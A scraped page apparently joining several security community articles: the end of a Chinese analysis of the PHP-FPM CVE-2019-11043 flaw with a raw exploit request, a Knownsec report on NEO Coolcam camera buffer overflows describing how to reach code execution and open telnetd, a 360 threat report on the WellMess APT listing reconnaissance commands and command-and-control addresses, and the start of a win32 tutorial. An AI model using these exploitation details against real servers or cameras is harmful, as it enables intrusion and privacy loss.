QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1
Host: ubuntu.local:8080
User-Agent: Mozilla/5.0
D-Gisos: 8=====================================D
Ebut: mamku tvoyu
在数据包中，header中的最后两部分就是为了完成这部分功能，其中`D-Gisos`负责位移，向指定的位置写入数据。
**而`Ebut`会转化为`HTTP_EBUT`这个`fastcgi_param`中的其中一个全局变量**，然后我们需要了解一下`fastcgi`中全局变量的获取数据的方法。
<https://github.com/php/php-src/blob/5d6e923d46a89fe9cd8fb6c3a6da675aa67197b4/main/fastcgi.c#L328>
可以看到当fastcgi想要获取全局变量时，会读取指定位置的长度字符做对比，然后读取一个字符串作为value.
也就是说， **只要位置合理，var值相同，且长度相同，fastcgi就会读取相对应的数据** 。
而`HTTP_EBUT`和`PHP_VALUE`恰好长度相同，我们可以从堆上数据的变化来印证这一点。
在覆盖之前，该地址对应数据为
然后执行`fcgi_quick_putenv`
该地址对应数据变为
**我们成功写入了`PHP_VALUE`并控制其内容，这也就意味着我们可以控制PHP的任意全局变量。**
当我们可以控制PHP的任意全局变量就有很多种攻击方式，这里直接以EXP中使用到的攻击方式来举例子。
exp作者通过开启自动包含，并设置包含目录为`/tmp`，之后设置log地址为`/tmp/a`并将payload写入log文件，通过`auto_prepend_file`自动包含`/tmp/a`文件构造后门文件。
# 漏洞修复
在经过对漏洞的深入研究后，我们推荐两种方案修复这个漏洞。
* 临时修复：
修改nginx相应的配置，并在php相关的配置中加入
try_files $uri =404
在这种情况下，会有nginx去检查文件是否存在，当文件不存在时，请求都不会被传递到php-fpm。
* 正式修复：
* 将PHP 7.1.X更新至7.1.33 <https://github.com/php/php-src/releases/tag/php-7.1.33>
* 将PHP 7.2.X更新至7.2.24 <https://github.com/php/php-src/releases/tag/php-7.2.24>
* 将PHP 7.3.X更新至7.3.11 <https://github.com/php/php-src/releases/tag/php-7.3.11>
# 漏洞影响
结合EXP github中提到的利用条件，我们可以尽可能的总结利用条件以及漏洞影响范围。
1、Nginx + php_fpm，且配置`location ~ [^/]\.php(/|$)`会将请求转发到php-fpm。
2、Nginx配置`fastcgi_split_path_info`并且以`^`开始以`$`，只有在这种条件下才可以通过换行符来打断正则表达式判断。 ps:
则允许`index.php/321 -> index.php`
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
3、`fastcgi_param`中`PATH_INFO`会被定义通过`fastcgi_param PATH_INFO
$fastcgi_path_info;`，当然这个变量会在`fastcgi_params`默认定义。
4、在nginx层面没有定义对文件的检查比如`try_files $uri =404`，如果nginx层面做了文件检查，则请求不会被转发给php-fmp。
这个漏洞在实际研究过程中对真实世界危害有限，其主要原因都在于大部分的nginx配置中都携带了对文件的检查，且默认的nginx配置不包含这个问题。
但也正是由于这个原因，在许多网上的范例代码或者部分没有考虑到这个问题的环境，例如Nginx官方文档中的范例配置、NextCloud默认环境，都出现了这个问题，该漏洞也正真实的威胁着许多服务器的安全。
在这种情况下，这个漏洞也切切实实的陷入了黑暗森林法则，一旦有某个带有问题的配置被传播，其导致的可能就是大批量的服务受到牵连，确保及时的更新永远是对保护最好的手段:>
# 参考链接
* [漏洞issue](https://bugs.php.net/bug.php?id=78599)
* [漏洞发现者提供的环境](https://www.dropbox.com/s/eio9zikkg1juuj7/reproducer.tar.xz?dl=0&file_subpath=%2Freproducer)
* [漏洞exp](https://github.com/neex/phuip-fpizdam)
* [漏洞成因代码段](https://github.com/php/php-src/blob/ab061f95ca966731b1c84cf5b7b20155c0a1c06a/sapi/fpm/fpm/fpm_main.c)
* [漏洞修复commit](https://github.com/php/php-src/commit/ab061f95ca966731b1c84cf5b7b20155c0a1c06a#diff-624bdd47ab6847d777e15327976a9227)
* [vulhub](https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043)
* <https://www.nginx.com/resources/wiki/start/topics/examples/phpfcgi/>
* [Seebug漏洞收录](https://www.seebug.org/vuldb/ssvid-98092)
* * * | 社区文章 |
Author: Knownsec 404 ZoomEye Team
Time: 2018/07/16
Chinese version: <https://paper.seebug.org/653>
### 1\. Event Summary
Shenzhen NEO Coolcam electronics co. LTD is a new high-tech company that
integrates the R&D, production, and marketing of network digital products.
It's the pioneer in the field of Webcam in China. The company set up a
domestic Camera R&D Center in 2004 and obtained many national patents. The
products were authorized via the national quality supervision department and
the international standard certification like CE and FCC.
As early as August 02, 2017, the security researcher of Bitdefender companies
had pointed out that there are multiple buffer overflow vulnerabilities in
devices such as NIP-22 and Wi-Fi iDoorbell. Thousands of related devices that
leaked on the public network are threatened with potential security threats.
The researchers also provided relevant reports. Around September 2017, we
noticed the latest firmware released on the NEO Coolcam’s official English
website, which fixed the overflow vulnerabilities.
On July 10, 2018, we used ZoomEye Cyberspace Search Engine to locate related
devices and found 650,000 IP history records in the later risk assessment of
IOT devices which are susceptible to this vulnerability. China has the largest
number of devices with the vulnerability, about 167,000. In addition, we have
the following findings:
* During the year between the release of the official updated version for the firmware by Coolcam and the publication of this article, most of the devices still didn't install the updated firmware. There are following reasons: 1. The target device itself doesn't have an automatic upgrade mechanism. 2. Ordinary users could not realize the existence of vulnerabilities, thus manually update firmware.3. The updated firmware was only published on the official English website. 4. The equipment produced by other OEM manufacturers also had the same vulnerabilities.
* In the process of target equipment firmware audit, we have found the bypass login vulnerability, which will be presented in the following sections.
This means that a large number of target devices are at risk. The 404 Security
Team has made an in-depth study of a series of buffer overflow vulnerabilities
in NEO Coolcam's NIP-22FX cameras and executed remote code successfully from
the buffer overflow, which confirmed that the vulnerability has the potential
risk of being exploited by black products. Bypass login vulnerability has been
found in the process of an audit at the same time, which is also a serious
threat to user privacy.
### 2\. Vulnerability analysis
#### 2.1 Target equipment information
Device version: Neo Coolcam IPCam NIP-22FX
Vulnerability binary file: MD5 (ipc_server) = 312d924344364620d85099ed279a5f03
Firmware version: V7.7.4.1.1-20160701
The main program for web service and RTSP service is the ipc_server file, and
the target system is an ARM, 32-bit small end architecture.
The mitigation measure of buffer overflow is all closed.
#### 2.2 Bypass login vulnerability
The Webcam Web service is based on HTTP basic authentication. There are three
groups of default credentials which correspond to different permission levels.
This app will only remind you of modifying the default password for your admin
account when installing. Three groups of default credentials and corresponding
operations are as follows:
1. admin: admin
2. user: user
3. guest: guest
It is worth mentioning that the user and guest accounts can also view video
streams and most users will not change the default password of these accounts,
which lead to privacy leaks.
#### 2.3 Remote Code execution vulnerability based on buffer overflow in web
services (no Authentication required)
##### 2.3.1 Vulnerability detail analysis
The overflow point is located near the address 0x0007DE80. The processing
logic of this function is to call the libs_parsedata function to parse the usr
and pwd in the URL, and then store them in two buffers of this function stack
frame.
The prototype of the libs_parsedata function is:
`int libs_parsedata(int a1, int a2, char *needle, int a4, int a5, int a6){}`
It takes 6 parameters from left to right. The order is:
* a1: The original string.
* a2: Length of the original string.
* needle: The point to match the beginning of a string to be intercepted.
* a4: A delimiter used to intercept a string.
* a6: The target buffer for storing the intercepted string.
The processing logic of this function is to use the string needle and
delimiter a4 to intercept the original string a1. After intercepting, it
writes the intercepted string into the buffer which referred as a6 by the
strncpy() function. The writing’s length is similar to the intercepted string.
Finally, it writes a byte of '\x00'. Because the length of the parameter GET
is controllable, a buffer overflow will occur when an attacker inputs usr or
pwd which oversteps the buffer length.
##### 2.3.2 Exploit analysis
Buffer overflow measures of binary file ipc_server are all closed. This buffer
overflow vulnerability is easy to exploit. In the process, we need to consider
how to avoid the bad characters such as blank characters, &, \x00 and so on.
Blank characters can be replaced by ${IFS}.
The following code is located at the 0x0004E4D8 address in ipc_server:
The attackers only need to let the return address point to the address
0x0004E4D8 with the command to be executed, which can lead to remote code
execution from the buffer overflow. The libs_parsedata function will write a
\x00 at the end of the string, so we can exploit two overflow vulnerabilities
to write the return address and the instruction to be executed at the same
time.
The target system doesn’t contain commands such as curl, nc, wget and so on.
So we can redirect the command execution results to the Web directory and then
access the HTTP interface to get the execution result. If the attacker and the
camera are in the same network environment, the attacker also can open the
telnetd service of the targeted system to achieve complete control of the
vulnerable device. Because the file system of the target device is mounted in
the manner of read-write, it has the risk of malicious tampering by an
attacker.
The results on NIP-22FX are as followed:
##### 2.3.3 Patch analysis
In the latest version of firmware (V7.7.4.1.1-20170828), a seventh parameter
is added to the libs_parsedata function to control the target buffer writable
length.
#### 2.4 RTSP service's remote Code execution vulnerability based on buffer
overflow (no Authentication required)
##### 2.4.1 Vulnerability detail analysis
The overflow point is located at address 0x006C6D4, using the sscanf function
to match key and value in the Authorization: Digest key=”value” in RTSP Header
and saving them on the stack of this function. The stack is overflowed because
both of the lengths cannot be checked.
##### 2.4.2 Vulnerability exploitation analysis
The way to exploit this vulnerability is the same as the method in Section
2.3.2. The attacker can use two overflow vulnerabilities to write the
instruction to be executed and the return address which can easily lead to
remote code execute from buffer overflow. The results in NIP-22FX are as
follows: The telnetd service of the target system is successfully opened by
using the buffer overflow of the RTSP service.
##### 2.4.3 Patch analysis
In the latest version of firmware (V7.7.4.1.1-20170828), the length constraint
is added to the regular matching expression of sscanf, and the maximum of it
is 255 bytes. The return address cannot be overwritten since there are 296
bytes left between buffer and stack bottom.
### 3\. The scope within vulnerability impact
We found 651780 IP history data on ZoomEye's Cyberspace Search Engine by using
'keyword' related to CRT NIP-22 HD camera device.
We use the keyword, “Error: username or password error, please input again.”,
to search on the ZoomEye's Cyberspace Search Engine, and get 651780 IP history
record. After verification, there are 58,413 devices still alive.
The distribution of survival equipment countries is as follows. It can be
observed that these vulnerabilities are mainly distributed in Korea, the
United States, China and other countries. Because China's network IP changes
rapidly, the number of relevant surviving devices is more than 5878 in China.
Further statistical analysis of the above surviving devices shows that most of
the devices have at least one default credential. This shows that NEO
Coolcam's HD camera devices generally have default credentials. Attackers can
use the default credentials to access the video stream of the camera. It is
worth mentioning that lots of the surviving devices also have admin: admin
default credentials. The attacker can obtain the administrator identity and
probably take over the target devices completely via uploading elaborate
device firmware.
In the process of data analysis for devices that can be affected by the
vulnerabilities, we found that a large number of devices were sold by OEM.
Device firmware has great homology, and some devices between two different
vendors are just simply changing LOGO.
Using the md5 value of the device page 'web/mainpage.HTML' to distinguish
different OEM, statistical results are as follows:
In addition to the default credential problem, NEO Coolcam's HD camera NIP-22
also has a buffer overflow vulnerability that doesn't require authentication
for Web services and RTSP services. This overflow vulnerability is not
difficult to exploit and the attacker can execute arbitrary commands remotely
based on it. The watchdog process will restart the entire system after an
overflow problem occurs which can also be used by an attacker to cause the
deny of service. Due to the homology of firmware. These two overflow
vulnerabilities are also likely to exist in devices which produced by other
OEM manufacturers.
### 4\. Vulnerability Repair Recommendation
#### 4.1 Users' repair recommendation
To avoid privacy leaks, it is recommended that users repair the series of
vulnerabilities as soon as possible.
First of all, users can connect to the webcam Web management system and modify
the username and password of three sets of default credentials on the
following page.
What's more, if the device is NEO Coolcam's, it is recommended to download the
latest version of the firmware from the NEO Coolcam's official website and
manually update to repair the two overflow vulnerabilities. If the device is
produced by other OEM vendor, you can try to contact the vendor to update
firmware and isolate the device from the public network.
#### 4.2 Manufacturer's repair recommendation
Because this series of vulnerability can affect dozens of OEM vendors at home
and abroad, the vendors in the above list should check again to avoid the
possible vulnerabilities, release patch firmware in time and notify their
users to update the firmware.
### 5\. Summary
1. Most of the surviving devices have default credentials, which is a serious threat to the privacy of users. Users should modify the default password in time.
2. This series of vulnerabilities may also affect dozens of OEM manufacturers at home and abroad. Embedded device firmware development usually uses the third-party's open source tools or general software. This common software is usually developed by a specific manufacturer, which leads to the homogeneity of many firmware devices. Different brands of devices may run the same or similar firmware and contain the same third-party libraries. After the disclosure of the vulnerabilities, many manufacturers’ products can be affected but not all vendors will release patches, so a great number of devices can’t be repaired.
3. In recent years, the security vulnerabilities of loT device such as a router, camera, video camera, NAS and intelligent wearable equipment emerge in endlessly. With more and more embedded devices connected to the network, the personal privacy of users is seriously threatened. On the one hand, manufacturers and developers should constantly improve the security of their own R & D equipment. On the other hand, vulnerabilities are unavoidable. For users, they should make effort to improve their security awareness and avoid exposing such devices directly on the network space. For all loT vendors, as more and more vulnerabilities are exposed, fixing the vulnerabilities in time and providing an automatic upgrade mechanism for products is the only effective way.
### 6\. Reference
[1] NEO Coolcam's official website
<http://www.szneo.com/>
[2] Bitdefender vulnerability announcement
<https://www.bitdefender.com/box/blog/ip-cameras-vulnerabilities/neo-coolcams-not-cool-buffer-overflow/>
[3] Download address of the official update firmware
<http://szneo.com/en/service/index.php>
[4] ZoomEye Cyberspace Exploration Engine
<https://www.zoomeye.org/searchResult?q=%22Error%3A%20username%20or%20password%20error%2Cplease%20input%20again.%22>
[5] Pocsuite
<https://github.com/knownsec/Pocsuite>
[6] Seebug
<https://www.seebug.org/>
* * * | 社区文章 |
# 被低估的混乱军团-WellMess(APT-C-42)组织网络渗透和供应链攻击行动揭秘
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。WellMess组织的攻击具备以下特点：
* 发起的都是针对性极强的定向攻击，对目标进行了较长时间的控制
* 攻击前期进行了周密的筹划，针对目标和关联目标发动了供应链攻击行动
* 擅长使用GO语言构建攻击武器，具备Windows和Linux双平台攻击能力
## WellMess组织的技战术过程
对WellMess组织的攻击行为进行研究后，我们借鉴ATT&CK描叙了其完整的技战术过程。
WellMsess的攻击技战术过程分为供应链攻击、边界入侵和内网后渗透三个阶段。
* 供应链入侵阶段
该组织通过架设恶意VPN服务器的方式进行钓鱼攻击，用社会工程学的方式诱导目标连接恶意VPN服务器，达到远程植入木马后门的效果。
* 边界入侵阶段
该组织对多个目标实施了网络攻击，部分攻击是通过安全漏洞入侵目标网络的服务器，同时疑似通过失陷供应商的信任关系，获取账户密码接入目标网络边界服务（如VPN、邮件服务等）。
* 内网后渗透阶段
该组织在攻陷目标机器之后，会安装专属的后门程序，控制目标机器进行信息搜集和横向移动，同时为了行动的方便也会建立代理跳板隧道方便内网渗透。
## WellServ行动
### 1\. 受影响情况
该次行动最早发现于2017年12月，目标为某机构的服务器。而后该组织的攻击目标开始转向某网络基础服务提供商，直至2019年12月仍控制一台相关机构的服务器。WellMess组织针对攻击目标有长期的攻击行为，对于重点目标会利用后门进行长时间的远程shell操作，进行各类网络渗透攻击。
### 2\. 攻击技战术分析
该组织针对攻击目标进行了复杂的网络渗透，我们通过日志对其攻击流程进行了部分还原：
#### 后门与持久化
在通过对公网服务器的攻击并取得一定权限后，下发并启动WellMess专用后门，用于维持shell权限，后门会定时反向连接C&C，通过远程控制命令完成操作。由于该后门的主要目标为服务器系统，考虑到服务器很少重启，所以其自身没有内置设计持久化功能。后门的持久化，往往通过攻击组件为其添加计划任务，或者通过远程桌面操作手动添加以及AD域策略下发等方式。
#### 信息收集
在信息收集方面，主要利用系统自带工具收集本地信息，包括systeminfo、ipconfig、WMIC等。还会使用第三方工具收集，如LaZagne
Project、mimikatz收集密码，使用ADFIND收集域相关信息。
#### 内网端口转发
在内网渗透过程中，可能会存在网络访问限制，攻击者通过端口转发来穿透内网，搭建跳板机对其他内网主机进行扫描和进一步的攻击。WellMess在渗透过程中采用了一个名为gost的开源工具，通过它实现加密隧道传输。
如相关工具日志中最常出现的一条命令：
其含义为:
将原103[.]253[.]41[.]102这个C&C的8673端口数据，通过socks5代理链转发到本地192.168.0.250的49645端口。攻击者访问C&C的8673端口，通过加密隧道，相当于直接访问目标机器的49625端口。
#### 横向移动
我们从日志中发现，攻击者有利用powershell访问其他机器的IPC$资源，以及利用远程桌面登陆到不同主机的行为，说明内网多台机器遭受了横向移动攻击。
### 3\. 攻击组件分析
落地的攻击组件主要分为三种，一种是后门组件，另外一种是后门注册持久化工具，还有第三方渗透测试工具。 分类数量 | | 命名
---|---|---
后门组件3例 | WellMess_Hello
WellMess_Botlib
WellMess_Net
持久化组件1例 | WellMess_Task
第三方工具4例 | Gost
mimikatz
LaZagne Project
ADFIND
#### 后门组件
在发现的后门组件中，不同的中招目标几乎没有找到相同MD5的后门，但是大部分样本间都能找到相似的特征。其中主要归类为两种，Windows和Linux上共用的GO版本，以及Windows上专有的.Net版本。由于GO类型后门较大，在捕捉的样本中，部分样本加有UPX壳。
##### GO类型后门
GO类型后门拥有很强的跨平台能力，只要一套源码上进行更改就可以同时在多个平台使用。该类后门也有两种，一种是未封装的版本，一种是封装成botlib类的版本。
未封装的版本我们命名为WellMess_Hello，其主要功能简单，主要是作为渗透过程中的一个shell驻留。主要功能函数如下：
首先收集本地用户名、IP信息并连接成字符串，然后计算MD5
hash作为用户ID发送给远程服务器。控制端收到后会响应请求，后门解析回传的信息并提取出tar字段的内容，然后执行解析出来的shell。
通信过程中采用HTTPS，C&C为25端口。设置为邮件服务的常用端口可以突破防火墙限制。
封装成Botlib类的后门我们命名为WellMess_Botlib。WellMess_Botlib可以看作是WellMess_Hello的升级版，在其基础上添加了更多的远程控制命令并在通信过程中做了数据加密。
Botlib类的GO后门主要有Windows版和Linux版，这两种后门实际是相似的，通过还原GO的符号，可以发现其核心函数类似且都在botlib库下面。如下图，左侧为Windows版右侧为Linux版：
后门的核心功能为上传下载文件和远程shell，尽管样本很大，但并没有使用一些特殊的技术。在启动后，会和C&C交换数据，根据C&C的命令完成不同操作。在和C&C交互过程中的核心参数为Service参数，其控制整个后门的核心功能，字段含义如下:
Service 参数 | 功能
---|---
p | 初始化AES密钥
u | 修改User-Agent头
m | 设置数据包长度限制
hi | 设置运行周期
fu | 下载文件
fd | 上传文件
其他 | 执行shell命令
触发命令’ Fu’时，直接进行下载操作
触发命令’ Fd’时，直接读取后上传
如果其他参数没有匹配到，则会执行命令行
在样本的编码中可以看出针对的语言涉及中文、日文、韩文，可以推断这类样本主要针对东亚地区。
##### .Net 类型后门
.Net版本的后门我们命名为WellMess_Net。WellMess_Net外层是个loader，实际功能为利用RC6解码代码中的buffer为一个PE，并在新的域内调用。
新解密的代码也是WellMess后门，核心控制功能依旧为上传下载文件和远程shell。通过分析发现大量功能函数和WellMess_Botlib相同，可以说WellMess_Net实际上就是WellMess_Botlib在.Net平台上的重写。在BotChat类的UDFile函数执行上传下载操作，Command函数执行命令行，同时WellMess_Net还支持执行powershell脚本
###### 后门加密算法分析
在通信上会采用RC6、AES、RSA进行加密.
RC6算法应用于WellMess_Botlib、WellMess_Net
中的通信过程同时也在WellMess_Net中用于解码出后门dll。RC6是所有通信最外层的加密，任何cookie和数据包在最外层都要经过RC6处理后进行base64然后做字符串替换混淆，最后进行通信传输。
AES算法应用于WellMess_Botlib和WellMess_Net中的通信过程,采用CBC模式，这个是通信数据的核心加密算法，如果拿不到AES密钥，核心的C&C控制命令以及文件传输信息就无法获取。
RSA主要用于加密AES密钥、AES初始向量和收集到的本地信息。在通信最开始阶段，通过RSA本地公钥加密随机的AES密钥和IV，并发送给C&C。同时还会发送本地收集信息以及利用这些信息制作的HASH用于识别中招机器。
##### 持久化组件
我们将该组织的持久化组件命名为WellMess_Task。持久化组件的主要功能为：利用XML文件注册计划任务，为后门添加自启动，主要攻击目标是服务器系统。
##### 第三方工具
WellMess组织除了自己研发的工具，还使用了如下第三方工具进行后渗透攻击活动，对应功能如下：
名称 | 功能
---|---
Gost | 端口转发
mimikatz | 读取本地密码
LaZagne Project | 读取本地密码
ADFIND | 查询域信息
## WellVpn行动
### 1\. 受影响情况
该次行动2019年8月-2019年9月期间，攻击目标为某网络基础服务提供商公司，该公司的产品是各机构广泛使用的网络基础服务系统。
### 2\. 攻击技战术分析
某流行VPN产品的客户端升级程序存在安全漏洞，攻击者通过架设恶意的VPN服务器，通过社会工程学方式诱使该公司产品技术人员登陆，当技术人员使用存在漏洞的VPN
客户端连接恶意的VPN服务器时，将自动下载恶意的更新包并执行。攻击者下发的恶意程序是该组织的专属下载者程序WellMess_Downloader，下载并植入的最终的后门是WellMess_Botlib。整体攻击流程如下图所示：
### 3\. VPN客户端漏洞分析
VPN客户端在连接VPN服务器过程中有个预配置行为，客户端启动后的一个线程是升级功能，方法是通过传递命令行参数启动升级程序，升级程序会向目标服务器获取更新程序下载执行，该功能优先于登陆操作。
在构造命令行命令时，升级程序的地址使用的是待连接的VPN服务器IP而不是VPN官方服务器。
VPN客户端在升级软件下载过程中，只比对了本地和目标服务器上的XML配置文件中的版本号，未校验下载的可执行文件是否带有签名。因此攻击者可以通过架设恶意VPN服务器的方式进行钓鱼攻击，用社会工程学的方式欺骗目标连接恶意的VPN服务器，达到远程植入木马后门的效果。360已经将安全漏洞报告给相关VPN厂商，官方已经对漏洞进行了修复。
### 4\. 后门组件分析
### 此次攻击行动的后门组件主要分为两类，是WellMess专属的下载者和WellMess专属的最新版本后门程序。
### Wellmess_Downloader
WellMess下载者伪装的VPN组件在升级启动后首先会清理vpn的日志。
然后搜集系统信息上传，包含计算机内的配置信息和敏感目录等信息: cmd 命令行
---
systeminfo
ipconfig.exe /all
set
net user
hostname
net user /domain
net group /domain
tasklist.exe /V
whoami /all
值得注意的是在攻击组件利用计划任务实现持久化的过程中，首先会判断是否具有管理员权限。由于VPN客户端在升级更新过程中，会开启自己的提权服务，当升级过程中是普通权限时，会调用**PromoteService自动提权，因此后门组件无需再次提权。
伪装的VPN升级组件会通过HTTP下载并执行最新版本的WellMess_Botlib后门
其中在通信过程中，会采用RC6算法加密
#### 新版WellMess_Botlib
#### 本次使用的后门为WellMess使用GO语言开发的最新版后门，最新版的样本与老版本的WellMess_Botlib
相比做了小部分功能调整，新版本同时可以支持http、https、域名多种协议进行命令控制。
其中在命令参数上多了一条”pr”指令用于设置使用的协议，而协议分为Protocol_1、Protocol_2、Protocol_3。
* Protocol_1采用http通信方式，Protocol_2采用https方式，这两种和老版WellMess_Botlib在通信方面采用相同加密方法。
* Protocol_3采用DNS隧道的方法，使用其中的TXT类型数据进行通信。在加密算法上不再使用AES和RC6而是采用RC4进行加密，同时采用zbase32进行编码。
Protocol_3同时增加了’com’命令用于判断执行shell命令。目前捕获的样本中，Protocol_3功能暂未发现使用。
样本本身依旧不带持久化功能，这和老版本专注于攻击服务器有关，在新版本中的持久化依旧依赖于渗透过程中shell命令交互执行。
### 5\. 后渗透行为分析
在样本成功落地并和C&C进行交互后，会执行攻击者下发的远程命令进行后渗透攻击，相比于WellServ攻击行动，WellVpn行动的攻击拥有更明确的目的，执行的命令大致为以下几种：
我们对部分特征很强的shell操作进行了整理与分析：
* 收集本地机器信息部分，主要是对主机相关的信息进行收集
* 下载第三方工具部分，可以看出攻击者除了使用作为C&C的几个端口，还会使用其他端口下载第三方工具辅助操作
* 收集密码信息并打包部分，攻击者本次攻击行动核心目的是收集密码信息，经过统计发现，主要目标是远程终端软件的session数据。收集后使用从C&C下载的7z或者其他的打包工具打包，最终利用WellMess后门中的上传功能上传。
后渗透相关的Shell操作显示攻击者主要以收集信息、特别是密码信息为目的，而中招人员维护了大量相关机构的网络基础设施的账号密码。我们推测攻击者在获取这些系统的账户密码后，会通过相关系统作为突破口，再针对相关目标发起新一轮的网络渗透攻击，相关单位需要提高警惕，排查可能出现的网络异常情况。
## 幕后组织归属
在历史攻击数据中暂未关联到与此次WellMess攻击模式相似的数据，目前只能通过此次攻击行动的攻击痕迹推测幕后组织的归属，我们对攻击时间范围和样本编译时间范围进行统计分析。
* 远程shell按小时统计时区(UTC+0)
* 落地样本编译时间按小时统计时区(UTC+0)
攻击者远程shell的日志时间和样本的编译时间规律显示，该组织是来源于时区UTC+3即东三时区地域的国家。
## 智库时评
平地一声惊雷起，揭开万倾网络攻防风云战。可以说，此次全新APT组织的披露，无疑为网络安全的世界再蒙一层冰霜。尤其是在网络战早已成为大国博弈重要手段之下，WellMess组织以其高隐秘性、广目标性、强杀伤性的供应链攻击，令全球的网络系统犹如不定时炸弹一样，随时会在临界点中“爆发”。
针对如此强劲的APT高阶威胁攻击，请相关单位提高警惕，保护好关键网络基础设施的安全，同时对客户端做好安全漏洞补丁的更新，并定期进行病毒查杀。
危机时刻，我们更希望业界如360安全大脑及其360威胁情报云、APT全景雷达等诸多安全产品，能持续性支持对该组织的攻击检测。
最后，关于360高级威胁研究院：它是360政企安全集团的核心能力支持部门，由360资深安全专家组成，专注于高级威胁的发现、防御、处置和研究，曾在全球范围内率先捕获双杀、双星、噩梦公式等多起业界知名的0day在野攻击，独家披露多个国家级APT组织的高级行动，赢得业内外的广泛认可，为360保障国家网络安全提供有力支撑。
## 附录：IOC
MD5 WellMess_Hello
---
8777a9796565effa01b03cf1cea9d24d
WellMess_Botlib
51f3ff4ffb2ad830c5ddca0fb5f6417d
d24de5bb4f3b903e91e8ad31ddbee520
09bdcf2062d86cc0dd1d11479e30f747
31c888ee2fa179410c8b0812317b34af
e58b8de07372b9913ca2fbd3b103bb8f
429be60f0e444f4d9ba1255e88093721
WellMess_Net
03c78d459aeb4625d26eabbeae39bc99
3a3b65439f52f8611028f9bcaf5e0278
7d35c3aba04211d087fc5952b5d91511
39df019b9d9803655a95fcb184b2ed6a
74d59de5909c87ac6e727fe7e7429a76
84d9d57958ff032e9aca2b003e06610b
538f51690e2933e8beccef20098dac7b
3367fc1b45c344a590f633130da770a6
17450b81d0e34edfe9ea26788d8bd70f
584027e8ecb30f16106ed08fb3b7fbb4
aea1064a7c69c7687c75f18459f46c9a
bc479f7a8cb9bcc633f0f2b9733ed67b
ee843ed3afd6626847a3d9966168c700
WellMess_Task
d6e82086ca56623b07b72355fa217b9e
WellMess_Downloader
c5d5cb99291fa4b2a68b5ea3ff9d9f9a
a32e1202257a2945bf0f878c58490af8
967fcf185634def5177f74b0f703bdc0
C&C
URL
---
<https://119.81.184>[.]11:25
<http://112.74.102>[.]215:8085
<http://119.81.173>[.]130:80
<http://103.253.41>[.]82:8081
<https://119.81.178>[.]105:443
<http://103.73.188>[.]101
<http://112.74.102>[.]215:8081
<http://103.253.41>[.]102:8081
<http://139.129.110>[.]82:8081
<http://120.76.101>[.]58:8081
<http://218.244.138>[.]95:8085
<http://120.55.163>[.]144:8081
<http://103.216.221.19:8080>
<https://103.216.221.19:8081>
<http://103.216.221.19:80>
<http://103.216.221.19:81>
IP
---
119.81.184[.]11
112.74.102[.]215
119.81.173[.]130
103.253.41[.]82
119.81.178[.]105
103.73.188[.]101
103.253.41[.]102
139.129.110[.]82
120.76.101[.]58
218.244.138[.]95
120.55.163[.]144
103.216.221[.]19 | 社区文章 |
# 深入理解win32（二）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
上一节中我们初始了win32中的事件、消息以及消息处理函数，这节我们来探究一下win32的入口函数、ESP以及回调函数以及如何在od里面找到这几个结构。
## 关于入口函数
### WinMain结构
WinMain函数主要包含了以下几个成员
int WINAPI WinMain(
HINSTANCE hInstance, // handle to current instance
HINSTANCE hPrevInstance, // handle to previous instance
LPSTR lpCmdLine, // command line
int nCmdShow // show state
);
> * _hInstance_ [in] Handle to the current instance of the application.
> * _hPrevInstance_ [in] Handle to the previous instance of the application.
> This parameter is always NULL.
> * _lpCmdLine_ [in] Pointer to a null-terminated string specifying the
> command line for the application, excluding the program name. To retrieve
> the entire command line, use the ) function.
> * _nCmdShow_ is a flag that says whether the main application window will
> be minimized, maximized, or shown normally.
>
`hInstance`被称为实例句柄，当它被加载到内存时，操作系统会根据这个值来识别可执行文件。`hPrevInstance`本来在16位windows中使用，现在已经废弃，一直为空。`IpCmdLine`包含作为`Unicode`字符串的命令行参数。`nCmdShow`表示主应用程序窗口是最大化、最小化还是正常显示。
这里说下`IpCmdLine`的具体作用，当我们打开cmd使用程序执行命令的时候在后面执行的命令就是通过这个`IpCmdLine`传入
在上一节中我们已经编写程序进行了事件与消息的实现，那么这里我们直接编译生成exe拿到win10中用`DebugView`进行运行查看
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
hAppInstance = hInstance;
//窗口的类名
TCHAR className[] = "My First Window";
//创建一个自己的窗口
WNDCLASS wndclass = {0};
wndclass.hbrBackground = (HBRUSH)COLOR_MENU; //窗口的背景色
